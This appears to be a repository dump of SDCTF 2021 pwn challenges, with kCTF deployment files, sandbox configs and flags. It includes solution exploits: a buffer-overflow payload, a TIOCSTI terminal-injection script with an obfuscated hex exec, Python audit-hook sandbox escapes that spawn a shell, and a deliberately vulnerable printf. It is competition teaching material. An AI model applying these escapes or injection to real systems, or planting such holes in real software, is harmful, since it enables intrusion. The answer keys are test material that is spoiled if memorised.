| # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /pwn/flagDropper/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /pwn/flagDropper/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import pwnlib 18 | from pwn import * 19 | p = pwnlib.tubes.remote.remote('127.0.0.1', 1337) 20 | 21 | for i in range(4): 22 | p.recvline() 23 | payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 24 | payload += p64(0x00000000004005da) 25 | p.sendline(payload) 26 | print(p.recv()) 27 | print(p.recvuntil('{')) 28 | check = (p.recvuntil('}')) 29 | print(str(check)) 30 | if 'n1C3_C4tcH_bUd}' in str(check): 31 | exit(0) 32 | else: 33 | exit(1) 34 | -------------------------------------------------------------------------------- /pwn/flagDropper/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /pwn/flagDropper/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /pwn/flagDropper/healthcheck/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | p = process('./flagDropper') 3 | gdb.attach(p) 4 | for i in range(4): 5 | p.recvline() 6 | p.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + p64(0x00000000004005da)) 7 | p.interactive() 8 | -------------------------------------------------------------------------------- /pwn/flagDropper/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #p = process('./flagDropper') 3 | #gdb.attach(p) 4 | p = remote('localhost', 34251) 5 | for i in range(4): 6 | p.recvline() 7 | p.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + p64(0x00000000004005da)) 8 | print(p.recvuntil('}')) 9 | -------------------------------------------------------------------------------- /pwn/haxlab-s/.gitignore: -------------------------------------------------------------------------------- 1 | # Temporary build files 2 | attachment/ 3 | -------------------------------------------------------------------------------- /pwn/haxlab-s/Makefile: -------------------------------------------------------------------------------- 1 | COMMON = admin/.bashrc admin/haxlabs.py admin/launcher.sh 2 | 3 | SHELL_FILTER = '/^ *\# (ADMIN|shellcheck )/d' 4 | 5 | all: deploy attachment.zip 6 | 7 | # Run this target on the deployment machine afetr updating the challenge, before running 8 | # kctf chal start 9 | # This generates the necessary deployment files 10 | deploy: $(COMMON) admin/flag.txt 11 | cp admin/haxlabs.py admin/flag.txt challenge/ 12 | sed -E $(SHELL_FILTER) admin/launcher.sh > challenge/launcher.sh 13 | sed -E $(SHELL_FILTER) admin/.bashrc > challenge/.bashrc 14 | 15 | # Run this target to generate the attachment zip file 16 | attachment.zip: $(COMMON) admin/README.md fake-local-flag.txt 17 | mkdir -p attachment/ 18 | cp admin/haxlabs.py admin/README.md attachment/ 19 | cp fake-local-flag.txt attachment/flag.txt 20 | sed -E $(SHELL_FILTER) admin/launcher.sh > attachment/launcher.sh 21 | sed -E $(SHELL_FILTER) admin/.bashrc > attachment/.bashrc 22 | zip -r attachment.zip attachment/ 23 | 24 | clean: 25 | rm -f attachment.zip 26 | rm -rf attachment/ 27 | rm -f challenge/launcher.sh 28 | rm -f challenge/.bashrc 29 | rm -f challenge/flag.txt 30 | rm -f challenge/haxlabs.py 31 | 32 | .PHONY: deploy clean all 33 | -------------------------------------------------------------------------------- /pwn/haxlab-s/admin/.bashrc: -------------------------------------------------------------------------------- 1 | # shellcheck shell=bash 2 | # When our attackers have given up, 3 | # show off our beautiful and fancy bash shell prompt 4 | # to them to make them jealous. 5 | 6 | USERNAME_HOST="\$(lolcat --freq 0.5 --force <<< 'haxlab@MAKE-HAXWORKS-GREAT-AGAIN')" 7 | PROMPT_ARROW="\033(0mq\033(B➤ " 8 | 9 | # ADMIN TODO: fortune-like message Ex. "You got the shell, but so what?" before prompt arrow, different one each time 10 | PS1="\[\033[01m\]$USERNAME_HOST\[\033[00m\] \[\033[07m\]\w\[\033[00m\]\n$PROMPT_ARROW " 11 | -------------------------------------------------------------------------------- /pwn/haxlab-s/admin/README.md: -------------------------------------------------------------------------------- 1 | # HAXLAB S 2 | 3 | ## Dependencies 4 | 5 | In order to run HAXLAB S, please have commands `python3`, `unbuffer` and `lolcat` available on your local machine, as well as `libseccomp` and its bindings for Python. 6 | 7 | **Note:** `unbuffer` command can be obtained from a software package called [Expect](https://www.nist.gov/services-resources/software/expect). The package is usually named `expect` on most Linux distributions. 8 | 9 | To get all the dependencies on Ubuntu, run 10 | 11 | ```bash 12 | sudo apt-get install python3-seccomp expect lolcat 13 | ``` 14 | 15 | ## Running 16 | 17 | Welcome to HAXLAB, the most secure and unhackable computing platform ever. To run the software, make sure you have all the dependencies installed. Then execute the script `launcher.sh`. 18 | -------------------------------------------------------------------------------- /pwn/haxlab-s/admin/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{h1st0ry_r3peat1ng:CVE-2017-5226} 2 | -------------------------------------------------------------------------------- /pwn/haxlab-s/admin/launcher.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | # This is just so secure 3 | 4 | cd "$(dirname -- "${BASH_SOURCE[0]}")" || { echo "Failed to change to working directory"; exit 1; } 5 | 6 | # shellcheck disable=SC2153 7 | if [[ -z "$PIPE_DIR" ]]; then 8 | pipe_dir=. 9 | else 10 | pipe_dir="$PIPE_DIR" 11 | fi 12 | 13 | pipe_in="$(mktemp -u pipe-in-XXXXXXXXXX -p "$pipe_dir")" 14 | pipe_stop="$(mktemp -u pipe-stop-XXXXXXXXXX -p "$pipe_dir")" 15 | export pipe_in 16 | export pipe_stop 17 | 18 | mkfifo "$pipe_in" "$pipe_stop" || { echo "mkfifo failed"; exit 1; } 19 | 20 | # shellcheck disable=SC2016 21 | commands='python3 haxlabs.py < "$pipe_in"; bash --rcfile ./.bashrc' 22 | 23 | # Use unbuffer to make an interactive shell so our fancy prompt actually show up! 24 | 25 | # ADMIN Using redirection (< "$pipe_stop") will break correctness due to bash getting stuck in `open` syscall 26 | # ADMIN when redirecting from a FIFO with no data, therefore confusingly not starting unbuffer command: 27 | # shellcheck disable=SC2002 28 | cat "$pipe_stop" | unbuffer -p bash -c "$commands" 2>&1 & 29 | 30 | function on_exit() { 31 | echo "Stopping..." >&2 32 | # ADMIN TODO: avoid blocking when cat exits/crashes 33 | echo > "$pipe_stop" 34 | rm "$pipe_in" "$pipe_stop" 35 | } 36 | 37 | trap on_exit EXIT 38 | 39 | cat > "$pipe_in" 40 | exit 0 41 | -------------------------------------------------------------------------------- /pwn/haxlab-s/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: haxlab-s 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: false 13 | image: eu.gcr.io/sdctf-2021/haxlab-s-challenge:683fb7ee9186a0e5cde1459b7a56fb2611517806f533a02c03804f86412db06c 14 | -------------------------------------------------------------------------------- /pwn/haxlab-s/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | launcher.sh 2 | .bashrc 3 | flag.txt 4 | haxlabs.py 5 | -------------------------------------------------------------------------------- /pwn/haxlab-s/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | }, 40 | { 41 | dst: "/tmp/" 42 | fstype: "tmpfs" 43 | options: "size=65536" 44 | rw: true 45 | }, 46 | { # Isolated PTY space 47 | dst: "/dev/pts/" 48 | fstype: "devpts" 49 | options: "newinstance,ptmxmode=666" 50 | rw: true 51 | } 52 | ] 53 | -------------------------------------------------------------------------------- /pwn/haxlab-s/deploy-README.txt: -------------------------------------------------------------------------------- 1 | - Need to get command unbuffer, which is from package `expect` in Ubuntu 2 | - lolcat, which allows displaying rainbow colored prompt 3 | - Need netcat (OpenBSD or GNU) for serving 4 | - Need Python seccomp bindings 5 | -------------------------------------------------------------------------------- /pwn/haxlab-s/fake-local-flag.txt: -------------------------------------------------------------------------------- 1 | fakeflag{this_is_a_FAKE_flag_for_local_testing} -------------------------------------------------------------------------------- /pwn/haxlab-s/generate-payload.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | CODE_TEMPLATE = \ 4 | """ 5 | import fcntl, termios, sys 6 | PAYLOAD={} 7 | for c in PAYLOAD: 8 | fcntl.ioctl(1, termios.TIOCSTI, c.encode()) 9 | sys.exit() 10 | """ 11 | 12 | payload = sys.argv[1] + '\n' 13 | print('exec(bytes.fromhex("{}").decode())'.format(CODE_TEMPLATE.format(repr(payload)).encode().hex())) 14 | -------------------------------------------------------------------------------- /pwn/haxlab-s/payload.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # Insert characters into TTY 3 | # Can be used to bypass naive seccomp filter that allows ioctl on FD 1 (stdout) when the input is a terminal 4 | # and also exploit for sudo and su: https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking 5 | 6 | import fcntl, termios 7 | 8 | PAYLOAD =\ 9 | """echo i am an evil attacker > evil.pwned 10 | """ 11 | 12 | # Insert evil characters! 13 | 14 | for c in PAYLOAD: 15 | fcntl.ioctl(1, termios.TIOCSTI, c.encode()) 16 | 17 | # exec(bytes.fromhex("0a696d706f72742066636e746c2c207465726d696f732c207379730a5041594c4f41443d276563686f206920616d20616e206576696c2061747461636b6572203e206576696c2e70776e65645c6e270a666f72206320696e205041594c4f41443a0a2020202066636e746c2e696f63746c28312c207465726d696f732e54494f435354492c20632e656e636f64652829290a7379732e6578697428290a").decode()) -------------------------------------------------------------------------------- /pwn/haxlab-s/solve.txt: -------------------------------------------------------------------------------- 1 | exec(bytes.fromhex("0a696d706f72742066636e746c2c207465726d696f732c207379730a5041594c4f41443d2763617420666c61672e7478745c6e270a666f72206320696e205041594c4f41443a0a2020202066636e746c2e696f63746c28312c207465726d696f732e54494f435354492c20632e656e636f64652829290a7379732e6578697428290a").decode()) -------------------------------------------------------------------------------- /pwn/haxlab/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: haxlab 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: false 13 | image: eu.gcr.io/sdctf-2021/haxlab-challenge:a83ad297d058175f24c9fd6a109eba6eb17eacc71cb06168e49e66c1292bee1f 14 | -------------------------------------------------------------------------------- /pwn/haxlab/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python3 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | COPY flag1.txt / 20 | COPY flag2.txt / 21 | COPY jail.py /home/user/ 22 | COPY proprietary.py /home/user/ 23 | 24 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 25 | 26 | COPY --from=chroot / /chroot 27 | 28 | COPY nsjail.cfg /home/user/ 29 | 30 | CMD kctf_setup && \ 31 | kctf_drop_privs \ 32 | socat \ 33 | TCP-LISTEN:1337,reuseaddr,fork \ 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/jail.py" 35 | -------------------------------------------------------------------------------- /pwn/haxlab/challenge/flag1.txt: -------------------------------------------------------------------------------- 1 | sdctf{get@ttr_r3ads_3v3ryth1ng} 2 | -------------------------------------------------------------------------------- /pwn/haxlab/challenge/flag2.txt: -------------------------------------------------------------------------------- 1 | sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35} 2 | -------------------------------------------------------------------------------- /pwn/haxlab/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /pwn/haxlab/challenge/proprietary.py: -------------------------------------------------------------------------------- 1 | # Do not make this available for download. 2 | 3 | class UnreadableString(str): 4 | def __repr__(self) -> str: 5 | return "REDACTED" 6 | def __str__(self) -> str: 7 | return "REDACTED" 8 | 9 | class Flag1Holder: 10 | def __init__(self, flag1: str): 11 | setattr(self, '-flag1-', UnreadableString(flag1)) 12 | 13 | def get_flag1(): 14 | with open('flag1.txt') as f1: 15 | return Flag1Holder(f1.read()) 16 | -------------------------------------------------------------------------------- /pwn/haxlab/deploy-readme.txt: -------------------------------------------------------------------------------- 1 | Put jail.py, proprietary.py, flag1.txt, and flag2.txt in one directory. 2 | The other files are not needed. 3 | 4 | flag1-approach.txt is a sample session showing how a participant might approach the challenge to get flag1. 5 | 6 | solve-flag*.txt are the Python code snippets to get flag1.txt and flag2.txt respectively 7 | -------------------------------------------------------------------------------- /pwn/haxlab/flag1-approach.txt: -------------------------------------------------------------------------------- 1 | ======= HAXLAB - An advanced yet secure calculator ======= 2 | Powered by Python 3.8.5 (default, Jan 27 2021, 15:41:15) 3 | [GCC 9.3.0] 4 | >>> flag1 5 | 6 | >>> dir(flag1) 7 | ['-flag1-', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__'] 8 | >>> flag1.__dict__ 9 | {'-flag1-': REDACTED} 10 | >>> getattr(flag1, '-flag1-') 11 | REDACTED 12 | >>> str(getattr(flag1, '-flag1-')) 13 | 'REDACTED' 14 | >>> getattr(flag1, '-flag1-')[0] 15 | 's' 16 | >>> list(getattr(flag1, '-flag1-')) 17 | ['s', 'd', 'c', 't', 'f', '{', 'g', 'e', 't', '@', 't', 't', 'r', '_', 'r', '3', 'a', 'd', 's', '_', '3', 'v', '3', 'r', 'y', 't', 'h', '1', 'n', 'g', '}', '\n'] 18 | >>> ''.join(list(getattr(flag1, '-flag1-'))) 19 | 'sdctf{get@ttr_r3ads_3v3ryth1ng}\n' 20 | >>> -------------------------------------------------------------------------------- /pwn/haxlab/possible-unintended-solve-flag2.txt: -------------------------------------------------------------------------------- 1 | # See: https://bugs.python.org/issue41162 and https://ctftime.org/writeup/21982 2 | # exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit(0)") 3 | exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\na=X()\nsys.exit(0)") 4 | -------------------------------------------------------------------------------- /pwn/haxlab/proprietary.py: -------------------------------------------------------------------------------- 1 | # Do not make this available for download. 2 | 3 | class UnreadableString(str): 4 | def __repr__(self) -> str: 5 | return "REDACTED" 6 | def __str__(self) -> str: 7 | return "REDACTED" 8 | 9 | class Flag1Holder: 10 | def __init__(self, flag1: str): 11 | setattr(self, '-flag1-', UnreadableString(flag1)) 12 | 13 | def get_flag1(): 14 | with open('flag1.txt') as f1: 15 | return Flag1Holder(f1.read()) 16 | -------------------------------------------------------------------------------- /pwn/haxlab/solve-flag1.txt: -------------------------------------------------------------------------------- 1 | print(getattr(flag1, '-flag1-')[:]) 2 | # Another solution: print(''.join(list(getattr(flag1, '-flag1-')))) 3 | -------------------------------------------------------------------------------- /pwn/haxlab/solve-flag2-builtin-not-dict.txt: -------------------------------------------------------------------------------- 1 | __builtins__.set = lambda d: {'builtins.input', 'builtins.input/result', 'exec', 'compile', 'os.system'} 2 | import os 3 | os.system('sh') 4 | -------------------------------------------------------------------------------- /pwn/haxlab/solve-flag2-py3.8.5.txt: -------------------------------------------------------------------------------- 1 | __builtins__['set'] = lambda d: {'builtins.input', 'builtins.input/result', 'exec', 'compile', 'os.system'} 2 | import os 3 | os.system('sh') 4 | -------------------------------------------------------------------------------- /pwn/printFailed/README.md: -------------------------------------------------------------------------------- 1 | # printFAILED 2 | ## Pwn - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | green beans | none | **ptr-yudai** from **Team zer0pts** | 52 | 206 | 6 | 7 | ### prompt 8 | I'm new to C. I just learned printf and everything just worked™. But my friend Greg, who works at a security company, tells me that some strings crashed the program but refused to tell me specifically which ones. (He wanted to publish those in DEF CON). Can you find the magic string before he carry out his evil plan? 9 | 10 | Connect via: `nc printf.sdc.tf 1337` 11 | 12 | **attachments**: `print-failed: The vulnerable binary` 13 | ### original specification 14 | Make a binary that executes printf on arbitrary user input. 15 | 16 | **flag**: `sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}` 17 | ### writeups 18 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#printFAILED 19 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/pwn.md#printfailed 20 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#printfailed 21 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/printfailed/ 22 | -------------------------------------------------------------------------------- /pwn/printFailed/backup: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int FLAGLAN = 39 4 | 5 | int main(int argc, char ** argv){ 6 | char flag[39]; 7 | char guess[39]; 8 | int f = open("flag.txt",O_RDONLY); 9 | read(f,flag, 39); 10 | scramble(39, flag); 11 | puts("can you guess the scrambled flag?"); 12 | read(stdin, guess,39); 13 | printf("%s", flag) 14 | } 15 | 16 | void scramble(int times, char [] toScramble){ 17 | for(int i = 0; i < times; i++){ 18 | char scrambled[39]; 19 | int j = (i+10)%FLAG_LEN; 20 | scrambled[i] = toScramble[j]; 21 | } 22 | toScramble = scramble; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /pwn/printFailed/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: printfailed 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/printfailed-healthcheck:c56c49328273b375cb62bbbf4772630aa84218ece8e3af31101931d7af96c387 14 | image: eu.gcr.io/sdctf-2021/printfailed-challenge:58a6c15286bd2c34a1eb40bbbd01400b4ef2c1049d208b02b4c81a2ef815097c 15 | -------------------------------------------------------------------------------- /pwn/printFailed/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | COPY flag.txt / 19 | COPY printFailed /home/user/ 20 | 21 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 22 | 23 | COPY --from=chroot / /chroot 24 | 25 | COPY nsjail.cfg /home/user/ 26 | 27 | CMD kctf_setup && \ 28 | kctf_drop_privs \ 29 | socat \ 30 | TCP-LISTEN:1337,reuseaddr,fork \ 31 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/printFailed" 32 | -------------------------------------------------------------------------------- /pwn/printFailed/challenge/Makefile: -------------------------------------------------------------------------------- 1 | .POSIX: 2 | 3 | CFLAGS = -w -O0 4 | 5 | printFailed: printFailed.c 6 | 7 | -------------------------------------------------------------------------------- /pwn/printFailed/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3} 2 | -------------------------------------------------------------------------------- /pwn/printFailed/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /pwn/printFailed/challenge/printFailed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/pwn/printFailed/challenge/printFailed -------------------------------------------------------------------------------- /pwn/printFailed/challenge/printFailed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int FLAG_LEN = 40; 5 | char flag[40]; 6 | char guess[40]; 7 | 8 | 9 | void scramble(int times){ 10 | for(int i = 0; i < times; i++){ 11 | flag[i] = flag[i]+1; 12 | } 13 | } 14 | 15 | 16 | 17 | int main(int argc, char ** argv){ 18 | FILE * f = fopen("flag.txt", "r"); 19 | fgets(flag, 40, f); 20 | scramble(39); 21 | puts("can you guess the scrambled flag?"); 22 | fflush(stdout); 23 | fgets(guess, 40, stdin); 24 | puts("you guessed: "); 25 | printf(guess,main,scramble,FLAG_LEN,flag); 26 | if(strcmp(guess,flag)==0){ 27 | puts("nice guess!"); 28 | } 29 | else{ 30 | puts("wrong"); 31 | } 32 | } 33 | 34 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM 